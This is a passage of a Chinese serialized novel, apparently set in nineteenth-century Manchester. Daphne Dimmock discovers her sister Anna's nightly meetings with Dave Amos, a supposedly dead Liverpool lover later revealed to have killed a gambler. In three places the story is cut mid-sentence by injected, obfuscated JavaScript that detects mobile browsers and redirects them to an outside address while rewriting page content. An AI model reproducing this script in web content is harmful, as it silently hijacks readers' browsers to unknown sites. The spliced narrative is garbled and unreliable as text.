“一百万英镑!”黛芙妮惊叫起来,“这一定是个谎言,除非这位路威尔顿先生实际上是国王的私生子。” “我也觉得不可信,因为就算是国王的儿子拥有一百万英镑也是难如登天。”贝拉说,“不过对于他的人生经历却大差不差。” “这样我就更糊涂了,”黛芙妮说,“我在教堂认识的那位——姑且称她为朋友吧,噢,贝拉你别取笑我!” “总之,她也和我说过路威尔顿先生出身贫寒。” “那你有什么糊涂的?” “我糊涂是因为他明明体会过工人悲苦的生活为什么等到自己翻身成为上等人的时候却漠视他们的需求呢?”黛芙妮对此非常困惑。 贝拉也沉默下来,过了一会儿她才说:“也许他在那儿遭的苦难更多是来自于周边的人?” “你这说法倒是新奇。”这下轮到黛芙妮沉默了。 11. 雨夜 贝拉的想法确实是她未曾想到的,可一想到那样赫斯之威的路威尔顿先生被人欺负就觉得有些荒诞。 而且“为了报复那些恶人要以那么多工人的生命为代价是不是太罪恶了?”黛芙妮说。 “怎么说?” “棉纺厂的工人几乎人人肺里都会生毛病,别说看病了他们甚至连吃一顿像样的饭菜都很困难。辞职和上工不过是慢性死亡和快速死亡的区别。”黛芙妮说。 “可人终是要死的。‘死不过是搬进永恒生命的居所’,”贝拉说,“别看我,这可是歌德说的,更何况难道你不赞同这种观点吗?” “是的,我们死后会和主永远在一起。但说到现实,也许一个人的死对于这个世界来说只是添了一座坟墓,但对于相依为命的人来说是将整个世界埋葬。”黛芙妮说,“所以我也赞同奥斯特洛夫斯基说的‘生命属于人只有一次’。” “所以你希望路威尔顿先生怎么做?”贝拉问她。 这会儿黛芙妮反倒失去了刚刚灵活的舌头:“也许,我不知道,但总得对那些工人好些吧,给他们一个喘息的空间。他们很大一部分人既不是纯粹的恶人也不是单纯的好人,他们是游离在中间徘徊的人,如果世界给予他们一丝善意整个天空都会像珍珠般明亮。” “我现在十分确信你是虔诚的基督教徒,是上帝?耶稣?派来的宣扬爱与和平的小天使。”贝拉打趣她。 黛芙妮脸颊泛起红晕,其实她也有过不好的想法,当安娜无止尽地抱怨时、当事情不顺利时、当她倒霉的遇到困难时也会生出怨气。 但因为她相信上帝总会宽恕他虔诚的信徒,所以大部分时间她也不会特地为坏情绪去忏悔。 “看来你并不看好路威尔顿先生。”贝拉总结,“所以总是千方百计地想要我诚服于你的理论中。” “你倒是对那位先生很公正。”黛芙妮说。 “因为我实在是想不出对他产生其他想法的理由,大概是我没有在独处的时候被他忽略过?” 她一说,黛芙妮又无奈起来但也只做两人之间新产生的玩笑话。 “总之,我认为财富的积累需要智慧与努力,但更重要的是内心的丰盈。”黛芙妮说。 “这话出自哪里?” “《圣经》。” “一本好书,也许我可以收藏。” 这段小插曲并没有给黛芙妮带来怎么样的变化,平日里该做针线的时候还是做针线,只不过多了一个兴趣爱好相近的朋友。 偶尔她也会邀请贝拉来一百零八号坐坐通常是聊聊附近的其他邻居、说说身边的小事,只有很少的时候会集中讨论一本书。 今日天空又下起了雨,本打算邀请贝拉过来做客的想法也被打消,好在狄默奇先生今日休息家里也不无聊。 但是狄默奇先生一开口就是“让我来考考你。”直接让黛芙妮起身离开,太过深奥的书从来都不是她能理解的。 “黛菲,我想请艾肯先生和库克先生来家里吃饭,你有什么好意见?”狄默奇太太拿着一张纸在上面涂涂改改。 黛芙妮在她身边坐下:“只有他们吗?” “大概还有那天见到的路威尔顿先生和我们的邻居亨斯通一家。” “路威尔顿先生?”黛芙妮惊讶,“什么时候我们和他的关系有这么亲近了?” “你爸爸挺喜欢他的。” “仅凭一次见面?” “一次?不,不止一次,路威尔顿先生在出版社和你爸爸见过好几次了,他有出版社的股份。”狄默奇太太抬起头说,“你爸爸夸赞他是个谦逊坚韧的年轻人,他喜欢和这样的人来往。” 黛芙妮从来都不知他们两人居然还有私交,这事儿对她来说特别吃惊。 她虽然对路威尔顿先生没有什么好感但是她对爸爸还是有信心的,也许她下次该对那位先生表现得更客气些。 “听说他还有个妹妹,不知道在不在曼彻斯特。”狄默奇太太低头列着邀请名单。 “我想是在的。”黛芙妮说。她移动眼睛发现安娜不在,就说今天怎么这么安静,“安娜去哪里了?” “她已经好些天不下来了,”狄默奇太太无奈地叹气,“我想那个孩子的死对她来说打击实在是太大了。” “好些天了?我怎么没注意呢。”黛芙妮皱眉。 “你现在对贝拉比和安娜更亲近。”狄默奇太太笑着说,“贝拉是个好姑娘,难得的是你和她还有话说。哎,怎么安娜就和你的性格差这么多,要是她能安安静静一个礼拜我就要欣慰地感谢主了。” “现在也算是安安静静了。”黛芙妮说。 狄默奇太太愣了一下,深深叹气。 等用晚餐的时候黛芙妮才仔仔细细地打量坐在她斜对面的安娜,隔了一周看猛地发现她的下巴尖锐了起来,一双眼睛有些疲惫,眉宇间总有几分愁绪。 她坐下等祷告结束吃了没几口就说先回卧室,黛芙妮嚼着鸡肉丝追着她的背影。 “我以为那件事过去了。”黛芙妮低声说,“还是说安娜知道那位先生的死因了?” 卡丽将一盘碳烤牛排放在餐桌上说:“绝不可能!安娜小姐已经有半个月不出门了,她怎么会知道呢?” “我想安娜只是还没回过神,毕竟她的第一段——就以这样结束,心里难受也是在所难免。”狄默奇太太说,“以往她最喜欢那些漂亮的花边,现如今都不愿出去了。” 狄默奇先生鼻翼微动,哼了一声。 黛芙妮觉得有些想不通,明明在艾肯先生家的时候安娜还对路威尔顿先生表露了意向。 “太太,这个月才过了一半但采买钱却比之前消耗得快,”卡丽用围裙擦擦手,“主要是用在买肉类上。” 狄默奇太太疑惑:“曼彻斯特和利物浦的价钱差很多吗?” “不是的,不过这儿的鱼类确实要贵上一些大概是离海没有利物浦近。”卡丽说,“是安娜小姐,她每晚都要用掉成年男人胃口的一份食物,通常要求大部分的肉类配上一些蔬菜。” 接着卡丽又说:“这话虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399926|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然对先生说不大好,但我想安娜小姐毕竟是您的女儿也就没什么不好说的了。” 狄默奇先生抬头看她。 “安娜小姐近来晚餐用量只有从前的一般,到了半夜偏偏又放肆起来,这样长此以往身体总要出毛病的......这种时候最好有父亲指引。” 卡丽也是好心,狄默奇先生点头:“那就不要给她上夜宵了,肚子饿了晚餐就会吃。” “就怕突然这样安娜会更不好受。”狄默奇太太说,“你是她的父亲,应该做些什么了,比如和她谈谈心?” “这样吧,从今日起夜宵只给下午茶的量,过段时间再停掉。”狄默奇先生说,“我会找机会和她谈谈,那小子根本就不值得她这么做。” 他们三言两语就对对付安娜的异常行为做出了方案,黛芙妮也就没什么好说的了。 不过,安娜倒也算天赋异禀,居然一点都没胖还瘦了,也难怪她敢继续放任自己。 轰隆! 好响的雷声! 黛芙妮睁开眼睛,她被惊醒了。 有些口渴,去摸床头的瓷杯可惜睡前被她喝完,一滴也没有了。 她忍耐的继续躺回去,努力忽略喉咙的干涩,越努力反倒越难受干的她发痒想咳嗽。 她将目光放在枕边的怀表上,借着月光看清现在的时间,三点二十五。 本来想拉铃铛的但这会儿卡丽想必已经熟睡,黛芙妮不想打扰她便决定自己去楼下倒杯水。 她披上睡袍,端着水杯推门而出。 今晚的雨让她想起了雨季的时候,也是这样,雷响的可怕外面是雨和风的狂欢盛宴,连带着房子都异常冰冷。 墙上的煤气灯敬业地工作,黛芙妮扶着栏杆小心地下台阶。 屋内十分昏暗但适应过后也能看清大部分地方,她慢慢地摸索到位于地下室的厨房成功缓解了干涩的喉咙。 端起瓷杯,慢慢扶着栏杆走上一楼。 “你——” 谁在说话?黛芙妮猛地僵住,吓得刚刚还有困倦的脑袋陡地清醒。 一动不动、眼睛瞪得老大,又仔细听了一会儿一些断断续续的声音钻进她的耳朵。 “你——走——雨太大——” 黛芙妮吓得腿软,牙齿也开始打颤,她开始想是不是隔壁的邻居在说话又想着会不会是她出现了幻听。 直到咚的一声让她彻底绝望,这声音一定是家里传来的而且她很快确定了位置,在后院。 黛芙妮在选择跑去喊卡丽和自己先去看一眼中,不由自主地端着瓷杯走向通往后院的门处。 她抖着手悄声地打开一条缝隙。 在闪电的帮助下,她看见两个人站在马棚中,是一个男人和一个女人。 那个女人给她的感觉很熟悉,而这个时间能出现在自家后院的,她大概有了猜测。 可是这样的认知让黛芙妮吓呆了,她震惊的捂住嘴,瓷杯差点拿不住,里面的水汹涌的翻倒起来。 他们在做什么?似乎在拥抱。 12. 事发 安娜什么时候在这里找了一个新情人?最让黛芙妮费解的是为什么她要三更半夜和对方约会,还是在这样恶劣的天气下,难道双方一日不见就想念得发狂? 黛芙妮怕被他们发现,偷偷地蹲下身紧贴墙壁,露出一双眼睛盯着马棚的位置。 雨太大了,她只能听到几个字。 “你让我怎么办——害怕——我受不了了——”这是安娜在说话,男人的声音黛芙妮一个字都没听到,尽管她再努力也不行。 听了一会儿她反倒是不怕了,安娜总不会伤害她的,于是她决定回房间去明天再说。 悄悄地将门关上,端着瓷杯她如一阵微风般地飘上楼梯。 在即将路过二楼的楼梯窗户时,黛芙妮挑起窗帘又往下看了一眼,不过这个角度安娜和那个男人都被草棚挡住什么也看不见。 她想着算了的时候安娜突然撑着伞跑回房子,黛芙妮膝盖自主弯曲回过神来又探出脑袋。 又是一道巨雷闪过,黛芙妮终于看清了那个男人的长相,当时他正打算翻过马棚后面的墙壁,在走前转过头往安娜的方向看了一眼。 如草丝般的头发、苍白满是胡渣的脸、一双眼睛全是戾气惊恐这些令人不适的情绪。 最后一个翻身他消失了。 此时楼下传来很细微的一声门响,黛芙妮赶忙提着裙摆跑回卧室。 她捂着胸口、耳朵紧贴房门听到安娜走路的声音和开关门的声音,一切重归寂静后才坐回床边。 那绝对不是一个正常男人,这是黛芙妮对疑似安娜的新情人的看法。 他不走正门、不在恰当的时候出现、衣着又脏又破、神情有些神经质。 种种异常让她的心高高吊起,因为她怎么也想不通安娜为什么会和这样的人保持亲密关系,毕竟拥抱是真实发生的。 黛芙妮再也没了困意,她翻来覆去地折腾自己和身下的床。 明天她该怎么和安娜说呢,也许她应该先别让爸爸妈妈知道,运气好的话她一个人就能搞懂安娜的想法还能把她劝回来。 还要问她有没有别人知道,绝不能毁了狄默奇家的名声。 一大早头晕乎乎的黛芙妮打开卧室门等待安娜的出现,可惜惠特妮打断了她的计划只能辗转到餐厅。 “黛菲,可怜的孩子昨晚一定没睡好,瞧瞧小脸蛋憔悴的,让人心疼。”狄默奇太太第一个坐在餐桌边,她亲吻黛芙妮的额头又拍拍她的脸颊,“下午好好睡一觉,不然你准会头疼的。” 黛芙妮心事重重地点头,狄默奇先生第三个进来,他精神不错显然雷声对他一点影响也没有。 最后才是安娜,她虽然憔悴但并不像黛芙妮那样沉闷,坐下第一件事就是向狄默奇夫妇表达不满。 “爸爸,妈妈,卡丽说我今后的夜宵只能吃一小块牛排和一丁点土豆泥,我怎么够吃!” “晚餐吃饱了,你连那一点牛排都不需要。”狄默奇先生说。 安娜不服气,撒泼的要爸爸恢复她的夜宵分量,而黛芙妮也猛地明白为什么她每晚都要一个成年男人份量的额外加餐。 一个连吃饭都成问题、长得也不英俊、没有一点涵养的男人到底为什么这么吸引她。 在午后安娜再次打算回卧室的时候黛芙妮找到了机会。 “安娜。”黛芙妮在三楼的楼梯口追上她。 “黛菲?有什么事?”安娜蹙眉,看上去并不像和黛芙妮交流。 “我有些困惑得不到解决,我想你能给我一个答案。”黛芙妮意有所指。 安娜奇怪地看她:“我?你确定不是那个鹅夫人的大女儿?” “你不能这么说亨斯通太太,太粗鲁了。”黛芙妮制止她的行为。 安娜挥手:“我不想和你争论这些。”话还没说完她就打算离开。 黛芙妮上前几步拉住她,直白地说:“我要和你谈谈。” “不可思议。”安娜眯起眼睛看她,说,“好吧,但是我很忙,所以你最好快点说。” 她的态度让黛芙妮越加不满:“既然这样的话我就直接问了。你在这里找了一个新情人?” 安娜没想到她要说这个,吃惊下划过心虚和恐慌:“你在说什么!我没有!” “我看到了!”黛芙妮不想嚷嚷的楼下都听见,她压低声音斩钉截铁的,“昨天晚上,凌晨三点多。” 安娜咬住嘴角,神色慌张地往周围看去,一把扯过黛芙妮用力地将她推进卧室。 在私密的房间内她才再次开口:“你跟踪我!” 黛芙妮觉得她无法理喻,但这事这么多年来她早就发觉了,所以对安娜的倒打一耙有良好的心态:“你和他怎么认识的?” “我不觉得我有必要告诉你!” “他是谁?曼彻斯特人?住在哪里?做什么?” “你以为你是爸爸妈妈吗?居然质问我!” “你有没有想过被人发现了怎么办?” “你以为人人都像你这样跟踪我吗?” “如果你还是这样的态度,我马上去告诉爸爸。”黛芙妮此刻还算平静。 安娜怒目而视、胸膛大幅度起伏,最后她还是妥协了:“我告诉你,你就不能和爸爸妈妈说,你发誓!和上帝发誓!” 拿上帝说话瞬间让黛芙妮气得不轻,她撇过头:“我就不应该管你,你说得对安娜,我不是爸妈。” 她想离开,但安娜拽着不准她走除非她什么也不说。 “我做不到!”黛芙妮挣开她的双手,“我不能眼睁睁看着你陷入泥潭,我也不想让爸爸妈妈蒙羞,我更不想再搬去下一个地方!” 安娜被她多年不见一次的发火压下了嘴里一大堆想要争辩的话。 她嚅动嘴唇,最终还是如黛芙妮所愿:“他,他是戴夫。” “戴夫?谁?”黛芙妮疑惑,在她的印象里从来就没有一个叫戴夫的人。 安娜闭上眼睛坐在床边:“我在利物浦认识的一个人。” “上帝!他是你在利物浦的那个情人?”黛芙妮恍然大悟后又大惊失色,吓得失声,“他不是死了吗?” 她还给他做了祈祷,结果现在人没死?更可怕的是这个人为什么会出现在这里,他没死的话那利物浦死的是谁? “戴夫差点就——但他幸运地活了下来,他来找我也是因为死亡让他意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399927|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他不能承受失去我的痛苦。”安娜的眼神迸发出一股喜悦,她看向黛芙妮的眼神居然有一丝得意,“他爱我爱到愿意放弃利物浦的一切,他甚至说愿意为我去死。” 黛芙妮看着眼前容光焕发的安娜,久久说不出话来。 应该说她还沉浸在为戴夫祈祷结果这人没死,她骗了上帝这件事上。 “黛菲你不懂我和他的感情,我能感觉到他比爸爸妈妈更爱我。”安娜扯着黛芙妮的手说,“我也不能失去他,我想和他永远在一起。” “你疯了!”黛芙妮被安娜的话终于刺激地回了神,“他现在连吃饭都要你偷偷救济,甚至没有一套像样的衣服!你——你嫁给他乞讨吗?” “我有钱,爸爸死后狄默奇的一切都是我的,我是长女。”安娜无所畏惧地说。 黛芙妮吸气让自己尽量保持镇定,以免冷笑出来:“首先爸爸就不可能同意你和戴夫结婚除非他死了,但我想那个时候你连戴夫是谁怕是都不记得了;其次,你也无法继承所有财产,我们的继承权是一样的。” “不可能!戴夫说长子继承大部分财产,爸爸没有儿子那就应该是我继承大部分财产。”安娜不相信。 这一刻黛芙妮不得不承认,这个姐姐的思维和她有着巨大的差别。明明她们拥有一样的生长环境、一样的教育环境,但就是长成了两个样子。 上帝说过:我未将你造在腹中,我已晓得你;你未出母胎,我已分别你为圣。 每个人都是独立个体,被神赋予专属召唤和生命计划。 黛芙妮这会儿反倒彻底冷静下来,用一种复杂的情绪投向安娜:“我没什么好说的了。” “你不发誓不准走!黛菲你要是敢告诉爸爸妈妈我就——我就——” 黛芙妮扯不开她的手,本就竭力平息的愤怒再次爆发:“安娜!” 一时间被她吼愣了的安娜真的停下了动作。 黛芙妮不想和她多说,拿开她的手就去拉门。 “啊!爸爸!”黛芙妮被吓到尖叫。 “爸爸?”安娜反应过来,推开黛芙妮,“你怎么在这里?” 狄默奇先生面无表情地站在门后,他手里还夹着一本《教育漫话》,在黛芙妮吓到的和安娜恐惧的眼神中开口:“看来这本书来得太迟了。” “爸爸,我——”黛芙妮有点心虚。 “黛菲你先下去。”狄默奇先生说。 安娜紧紧扒住黛芙妮不让她走:“黛菲,拜托!” “得了吧安娜,你刚刚还在耍狄默奇下一任家主的威风,这么快就忘了?坚强点。”狄默奇先生说。 “爸爸,我不是故意的,我也不知道我为什么会那样说,你相信我。”安娜哆嗦得直打颤。 黛芙妮掰开她的手一路跑到二楼被上来的狄默奇太太撞见,问她怎么心神不宁的。 安娜的事已经瞒不住了,黛芙妮也就没有犹豫地告诉她。 狄默奇太太一下子接受太多的刺激有些头晕目眩,她扶着栏杆在黛芙妮担心的目光下说:“他们在上面?” “是的。” 她喘了几口粗气立马冲上去,黛芙妮跟着她怕她摔倒。 13. 夜谈 “安娜,从小我是怎么教育你的,做人要诚实、正直、善良更重要的是要有头脑。” 黛芙妮站在安娜卧室门口听着里面的动静。 “你是怎么做的?你撒谎、尖酸、压迫你的家人、轻而易举地听信别人的言论没有一丁点自己的判断!” “爸爸,我错了。” 安娜哭得都快说不了话了。 “我对你太失望了,因为你比黛菲更早来到我和你妈妈的身边我们对你的付出还要更多一些,可你是怎么说的?你说那个小子比我们更爱你?” “我花了那么多钱把你送去学校接受教育,在别的女孩为家里做活围着厨房转悠的时候你在舒舒服服地喝下午茶、弹钢琴。那些茶点比书还要快地占据你的大脑。” 之后狄默奇先生不再说话,只有安娜不曾停歇的抽泣还在昭示着这事没有结束。 黛芙妮靠着墙,她双手无意识地扣着翘起边的墙纸。 安娜做错事固然让她生气、失望,可爸爸妈妈责备的话也没有让她高兴起来。 “安娜你告诉我们,艾莫斯先生怎么会来这里找你?”狄默奇太太腔调里还有哽咽的微颤。 “他,搬来这里后我给他写了一封信。”安娜小心翼翼地。 黛芙妮看不到爸爸妈妈的表情,但她都失望了他们只会比她更甚。 “然后有一天我突然看到他在家门口徘徊。” “他住在哪里?”狄默奇太太说,“黛菲说他翻墙走的,噢!翻墙!” “他说他在后面的巷尾租了一间房子。” 狄默奇先生嗤笑一声:“他身无分文还想在这里租到一间房子?我得告诉卡丽下次扔垃圾扔远点免得扔到别人家里,那可太失礼了。” 听到这话黛芙妮勾起嘴角,到底谁失礼。 “他是这么说的。”安娜的声音听起来很弱。 “所以他到底为什么会找过来?”狄默奇太太问。 “他爱我!”安娜好似有了底气,“他发现离不开我,不能失去我!” 又是一阵沉默。 黛芙妮觉得,有点理智的在看到对方那样子都不会相信这种话,不是她看不起艾莫斯先生,而是但凡他走正门来拜访爸爸妈妈她都不会这么不看好安娜和他的未来。 果不其然,狄默奇夫妇正在为自己大女儿的未来发愁,在这一瞬间两人的想法完全重叠——那个小子/艾莫斯先生到底给安娜灌了什么理念/用了什么恶魔的方法。 “请你,”狄默奇先生呼吸有些沉重,“用你那黄豆大小的脑仁想想他为什么要平白无故地放弃利物浦的财产来这儿乞讨过活?” “他没有乞讨。”安娜反驳。 “噢对!他确实有份正经工作,每晚都会到这里报到处理狄默奇一家的剩菜剩饭。”狄默奇先生说。 又过了一会儿。 “总之你不准再和他有任何接触,并且从今天起没有我的批准不准出去。” 安娜再次哭了起来,狄默奇太太疲惫地说:“安娜,听你爸爸的别再和艾莫斯先生来往了。” “先生?哼!”狄默奇先生冷嘲热讽的。 安娜最终还是没有生出她和黛芙妮对抗时的勇气与狄默奇先生反抗到底,甚至都没有请求再见对方一面。 餐桌上只有三个人,气氛低迷到连佣人都有所察觉,惠特妮和道奇默默地做完手里的活就走了。 卡丽想问又不敢问,在狄默奇家几乎没有什么事能瞒得过她,但是由于狄默奇夫妇是在卧室训斥大女儿的,门外又有小女儿守着,导致她无法靠得太近只能靠自己猜测。 餐厅只有一些细微的刀叉碰撞的声音,黛芙妮抬起眼睛观察他们。 狄默奇先生没什么表情只不过他用餐的速度很快;狄默奇太太没胃口盘子里的食物没有减少多少。 “黛菲你昨晚大概是几点见到你姐姐和——”狄默奇先生望了一眼竖着耳朵好奇的卡丽,他知道看住安娜这件事主要还得靠这位忠仆,虽然对于大女儿做出这等丢人的事感到十分羞愧但他也不得不面对现实,“那小子。” 卡丽捂住嘴,侧过身子。 黛芙妮通过他的眼神大概明白了他的意思:“大概是三点三十。” “你打算做什么?”狄默奇太太问。 “我总觉得他很危险,特别是他似乎和利物浦的杀人案卷在了一起,”狄默奇先生说,“时间太巧合了。” 卡丽再也控制不住自己的嘴巴:“先生,您不会再说那个倒霉小子吧!” 狄默奇太太叹气:“是的,卡丽。” 卡丽噔噔噔往后退吓得不行:“他,他不是死了?天呐!” 这事狄默奇家没人愿意多解释,黛芙妮简单说了一句:“他没死,来了这里。” “卡丽,最近需要你多费心,别让安娜出去后院更是禁止。”狄默奇先生说。 卡丽连连点头,她一双眼睛快速眨动疯狂地思考。 黛芙妮问狄默奇先生:“爸爸,您刚才说‘时间太巧合了’,是什么意思?” “也许我该托人去利物浦问问具体情况,如果按照卡丽亲戚说的,作为受害者的艾莫斯完全没必要跑来曼彻斯特,在这里他过得甚至不如那些底层工人。” 至于安娜说的艾莫斯爱她爱的离不开她,这话除了她自己谁都不相信。 “先生,我亲戚明天就要回利物浦了也许可以拜托他回去打听一下?”卡丽提议。 狄默奇先生很快就接纳了这个建议,还给了卡丽一笔钱,有了钱的帮助相信很快就有准确的消息传来。 “今晚,我打算见见那小子,”狄默奇先生又放出重磅,“不说清楚很有可能缠上我们。” 狄默奇太太闭目摸上胸前的十字架念念有词。 黛芙妮十分烦恼但这件事她不能告诉贝拉,只能独自排解。 晚上没睡的人不止她,应该说一百零八号里没有人今晚还睡得着。 她卧室的窗户往下望正好能看见后院,凌晨三点她就站在窗帘后,同样的还有楼下的狄默奇太太和躲在地下室楼梯处的卡丽。 很快艾莫斯先生再次翻墙进来,他看见站在院中的狄默奇先生吓了一大跳下意识地要跑。 等他意识到对方是谁的时候,扑通一声直接下跪。 随后和狄默奇先生消失在后院。 黛芙妮拉拢窗帘,她推开房门打算去楼下,在路过紧闭的另一扇门的时候没有停顿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399928|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一楼与二楼交界的平台上狄默奇太太披着披肩静默地站在那儿,瞧见黛芙妮也没有惊讶。 “艾莫斯先生我请求你不要再和我的大女儿有任何联系。”狄默奇先生十分严肃。 艾莫斯声音发抖,黛芙妮不懂他为什么这么害怕。 “先生,狄默奇先生,我真的不能没有安娜,我爱她胜过爱我自己!”他说,“请求您将她嫁给我!” “我们爽快点,”狄默奇先生说,“你的目的是什么?” “我没有目的,先生。” “我不是安娜,她也不在墙后站着,现在的谈话更不是对你们爱情的考验。” “先生,爱一个人有错吗?” “爱一个人没错。可在你这儿我感受不到你对安娜的爱,你不爱她。” “我能为她放弃生命!” “既然这样的话你就诚实点,说说你想要什么。” “我什么也不要,我说过我只是爱她。” 狄默奇先生声音越发严厉:“你骗不了我,小子。你的眼睛早已将一切都暴露了,你有所企图。” “我只企图您能接受我。” “如果你真的爱安娜,为什么从来不从正门进来,为什么要放弃利物浦的一切?你要让安娜和你过乞讨的生活吗?” “先生,这件事我无能为力。”一会儿后他沉重地说,“我在利物浦被迫卷入了一桩凶杀案,我想这就是您不同意的原因吧,但我是无辜的!” “你是受害者当然无辜,但你现在是‘死人’。” “他们杀了人要栽赃到我身上,我没有办法只能与那具尸体换了身份逃亡至此,利物浦我不能回去了否则他们有证人会污蔑我让我顶罪。” 狄默奇太太有些动容,黛芙妮也觉得若真是这样艾莫斯先生着实可怜。 “你的证据呢?”狄默奇先生很冷静。 “我当时只顾着逃跑,怎么会有证据。” “那就是没有了,你无法证明自己的清白现在还是逃犯比流浪汉还要卑劣的存在你却想诱拐安娜,你真的爱她吗?” 狄默奇先生的话让狄默奇太太和黛芙妮理智起来。 艾莫斯再也说不出话了。 “安娜在你身上花了不少钱以至于连她一向最爱的花边都买不起,还未结婚你就靠她养着。因为你的身份你这辈子都只能当黑户永远别想出头,所以就算你真的清白我也不会将安娜嫁给你。” “先生,我真的不能没有安娜。” “你已经被麻烦缠身了,爱安娜就离她远点。”狄默奇先生说了最后一句话,“我不会举报你的。” 良久一道轻微的门声响起,艾莫斯从后院离开。 狄默奇先生疲惫地揉着眉心打算上楼,被听墙角的狄默奇太太和黛芙妮唬了一跳。 “他的遭遇听起来很可怜。”狄默奇太太说。 “你也说了听起来,别太相信他的话。”狄默奇先生说。 “我总觉得他不会轻易放弃,他对安娜很执着。”黛芙妮小声说,“爸爸,如果艾莫斯先生能自证清白,你会把安娜嫁给他吗?” “不会。清白和他品行不端有什么关系,而且我总觉得他没有嘴上说得这么无辜。” 14. 邀请 那天后连着三日半夜时分,艾莫斯还是会在一百零八号后院相接的小巷徘徊,但再也没敢翻进来。 狄默奇太太也对当时安娜主动要了临街的房间感到庆幸,毕竟即使是晚上艾莫斯也不敢总在大街上走动。 卡丽的亲戚在回利物浦的第四天寄了一封信过来,狄默奇太太和黛芙妮坐在椅子边迫切地注视着正先一步阅读的狄默奇先生。 他来回踱步,眉头像一座大山一样高耸,半晌沉重地将信递给等得上火的母女。 黛芙妮坐到母亲身边看起来。 【狄默奇先生,根据我在警局打听到的消息,死者被确认不是戴夫·艾莫斯而是一名长期赌鬼。他们从赌场出来发生了挣扎。根据证人的证词,艾莫斯在赌场输了很大一笔钱他不得不抵押自己的小店,最后一次赌博离开的时候遇上了三名赌徒,他们以欠债压迫艾莫斯一天内还清二百英镑的巨款,艾莫斯在此前喝了大量的酒,在酒精的刺激下意外使一名赌徒死亡......】 “上帝,上帝!”狄默奇太太任由信纸飘落,她拽着胸口的布料不住地摇头,“他是个彻头彻尾的恶魔,撒谎、赌博、酗酒,他还想要将安娜拖下地狱。” 卡丽伸长脖子想要瞧清掉在地上的那封信的内容,听到狄默奇太太的话一个人在那儿无声地惊呼。 黛芙妮脸色发白,不敢想要是她没有发现或是她发现得再迟一点会怎么样。 艾莫斯先生哪里是爱安娜分明是把她当作唯一的救命稻草才对,他贪婪地看中了安娜的嫁妆和将来爸爸去世后的遗产。 也许他还打着娶了安娜,爸爸就不得不帮他摆脱杀人犯的罪名的打算。 他不仅看上了狄默奇家的财产还看上了爸爸多年来辛苦经营的名誉,真是没有比他更可怕的存在了。 “这封信一定要让安娜好好看看。”狄默奇先生双手叉腰,压制怒火背对着她们说。 黛芙妮将信纸折叠好捏在手上:“爸爸,艾莫斯先生是杀人犯,我们是不是应该快点报警?” “他已经有三四天不再出现,我担心要是报警不仅不能马上将他抓起来还会连累我们。”狄默奇先生说,“我们不能小瞧任何一个人,特别是一个走投无路本就没有道德底线的成年男子。” 惠特妮从楼下上来,她大概想汇报什么但看气氛不好有些犹豫。 “怎么了,惠特妮?”狄默奇太太头疼地捂着脑袋问她。 “太太,晚餐要用的鸡是改了做法吗?” “怎么这么问?”狄默奇太太没有时间思考艾莫斯的事情了,她前些天递出去的邀请今天就是回复的日子。 “昨天定了三只,但我刚刚清洗发现只有两只。” 卡丽叫起来:“就是买的三只!你是不是漏了?” “没有。” 惠特妮畏畏缩缩的,卡丽瞪了她一眼:“那你怎么现在才来说。” “我以为你又改成了两只。”惠特妮说。 卡丽无奈地呻吟,她推搡着惠特妮下楼,喋喋不休地骂她:“你这个蠢笨的家伙!推一步走一步的,擀面杖都比你灵活!” 在客人来前,黛芙妮需要回到卧室换上更得体的裙子,路过安娜的卧室时她低头看了眼手中的信最后还是觉得晚宴结束再给她比较好。 将半旧的暗红色衣裙换成新做的鹅黄色落肩塔夫绸裙,头发盘好戴上一些花朵样式的首饰,最后是一对长至手肘的白色手套。 亨斯通一家是最早到的,黛芙妮见到贝拉亲热地拉过她的手夸她今晚装扮特别有气质。 “你怎么这几天不来找我?”贝拉问她,“我以为你交了新朋友,她在这儿吗?” 黛芙妮露出笑来,眉眼的一丝郁气却钉在那儿一时半会儿走不了:“行行好吧贝拉,我可没那么受欢迎。” 贝拉望对呆坐在单人沙发上的,即使穿着靓丽也无法掩盖憔悴的安娜问:“安娜怎么了?还有你。” 黛芙妮顺着她的目光望过去:“我挺好的。安娜最近生了场病,身体不适。” “可怜的安娜。”贝拉面露怜惜以为黛芙妮是为了安娜才没那么开心,她拉着黛芙妮去找安娜慰问她的身体如何。 “没有问题。”安娜僵硬地说,她不敢和任何人对视只是一个劲地盯着手指上的戒指。 “黛菲!安娜!” 狄默奇太太站在门口对黛芙妮招手,她面前是一位小姐,旁边站着路威尔顿先生和狄默奇先生,先生们在门口攀谈起来。 黛芙妮松开贝拉的手和安娜一起过去。 那位姑娘黑发、下颚分明、眼神淡漠,身材高挑和安娜差不多,比黛芙妮高半个头。 